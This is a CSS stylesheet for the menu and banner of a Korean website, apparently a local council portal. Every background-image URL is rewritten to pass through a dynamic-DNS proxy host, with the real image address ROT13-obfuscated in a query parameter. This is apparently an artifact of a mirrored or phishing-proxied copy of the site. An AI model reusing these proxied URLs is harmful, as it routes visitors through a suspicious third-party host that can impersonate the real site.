@charset "utf-8";

h1, h2, h3, h4, h5, h6,
body,
input, select, textarea,
button{font-family:"KoPubWorld", "sans-serif";}
body{letter-spacing:-0.4px;}
/* 메인메뉴 */
#menuArea:before{z-index:97; content:''; display:none; position:absolute; top:100px; left:0; width:100%; height:2px; border-top:1px solid #99b9d2; background:#558ab4;}
#menuArea.on:before,
#menuArea .bar{display:block;}
#topmenu > li{position:static;}
#topmenu li .menu{display:none; visibility:visible; opacity:1; z-index:96; position:absolute; left:0; top:100px; width:100%; min-height:430px; padding:41px 0 12px 24.25%; transform:none; transition:none; box-sizing:border-box; box-shadow:none; background:none;}
#topmenu li.active .menu{top:100px;}
#topmenu li .tit{position:absolute; top:0; left:0; width:24.25%; height:100%; padding:74px 0 0 36px; line-height:150%; text-align:left; background:#daedff; box-sizing:border-box;}
#topmenu li .tit:before,
#topmenu li .tit:after{content:''; display:block; position:absolute; bottom:51px; left:0; width:246px; height:157px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sxe%2Spbzzba%2Sot_zrah1.cat) no-repeat 0 100%;}
#topmenu li .tit:before{bottom:auto; top:44px; width:37px; height:37px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sxe%2Spbzzba%2Svpb_zrah.cat) no-repeat 0 -15px;}
#topmenu li.menu2 .tit:after{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sxe%2Spbzzba%2Sot_zrah2.cat);}
#topmenu li.menu3 .tit:after{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sxe%2Spbzzba%2Sot_zrah3.cat);}
#topmenu li.menu4 .tit:after{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sxe%2Spbzzba%2Sot_zrah4.cat);}
#topmenu li.menu5 .tit:after{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sxe%2Spbzzba%2Sot_zrah5.cat);}
#topmenu li.menu6 .tit:after{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sxe%2Spbzzba%2Sot_zrah6.cat);}
#topmenu li .tit h2{height:56px; line-height:110%; font-size:38px; font-weight:900; font-family:"gmarket"; color:#00508e;}

#topmenu li ul {padding:0 0 0 13px;}
#topmenu .menu > ul > li{float:left; width:21.87%; margin:0; padding:0 0 40px 3.1%; text-align:left;}
#topmenu .menu:before{content:''; display:block; position:absolute; right:50%; top:0; width:100%; height:100%; margin:0 600px 0 0; border:none; background:#daedff;}

#topmenu li li{margin:0;}
#topmenu li li a{position:relative; height:54px; line-height:51px; padding:0 0 0 12.755%; color:#000; font-weight:800; font-family:"gmarket"; border:2px solid #eaeaea; box-sizing:border-box;}
#topmenu ul ul{position:relative;}
#topmenu ul ul:before{content:''; display:block; position:absolute; top:-30px; right:20px; width:10px; height:5px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sxe%2Spbzzba%2Svpb_zrah.cat) no-repeat -13px 0;}
#topmenu ul a[target="_blank"] + ul:before{display:none;}
#topmenu li li a[target="_blank"]:after{position:absolute; right:20px; top:50%; margin:-6px 0 0 0;}

#topmenu li .menu > ul > li:hover > a,
#topmenu li li a:hover,
#topmenu li li a:active,
#topmenu li li a:focus,
#topmenu li li.current_on > a{color:#00508e; border-color:#00508e;}
#topmenu li .menu > ul > li:hover > a:after,
#topmenu li li a:hover:after,
#topmenu li li.current_on > a:after{background-position:0 0;}

#topmenu li .menu > ul > li:hover > a[target="_blank"]:after,
#topmenu li a[target="_blank"]:hover:after,
#topmenu li li.current_on > a[target="_blank"]:after{background-position:-42px -179px;}

#topmenu li li a span{display:block; padding:0;}
#topmenu li li a span:after{display:none;}


/* 3차 메뉴 */
#topmenu ul ul{padding: 16px 0 17px 11px;background:#f8f8f8;}
#topmenu ul ul li{float:none; width:100%; padding:0; box-sizing: border-box;}
#topmenu ul ul li a{position:relative;height:auto;line-height:110%;padding: 6px 0 6px 18px;font-size:15px;border:none;font-weight:400;font-family:"KoPubWorld";}
#topmenu ul ul li a:after{display:none;}
#topmenu ul ul li a[target="_blank"]:after{right:22px;}
#topmenu ul ul li a:before{content:''; position:absolute; top:10px; left:0; display:block; width:9px; height:5px; background:#bfbfbf;}
#topmenu ul ul li a:hover,
#topmenu ul ul li a:active,
#topmenu ul ul li a:focus,
#topmenu ul ul li.current_on a{color:#000; text-decoration:underline;}

#subVisual {position:relative; overflow:hidden; width:100%; height:219px;}
#subVisual .img{position:absolute; left:50%; top:0; transform:translateX(-50%);}
#subVisual .img img{animation:ani_background 8s ease-in-out;}
@keyframes ani_background{
	0%{transform:scale(1.13);}
	50%{transform:scale(1);}
}
@media all and (max-width:1230px) {
	#topmenu li .tit:before,
	#topmenu li .tit:after{left:10px;}
	#topmenu li .menu{padding-right:15px;}
}
@media all and (max-width:1024px) {
	#subVisual{height:auto;}
	#subVisual .img{position:static; left:0; width:100%; transform:translateX(0);}
}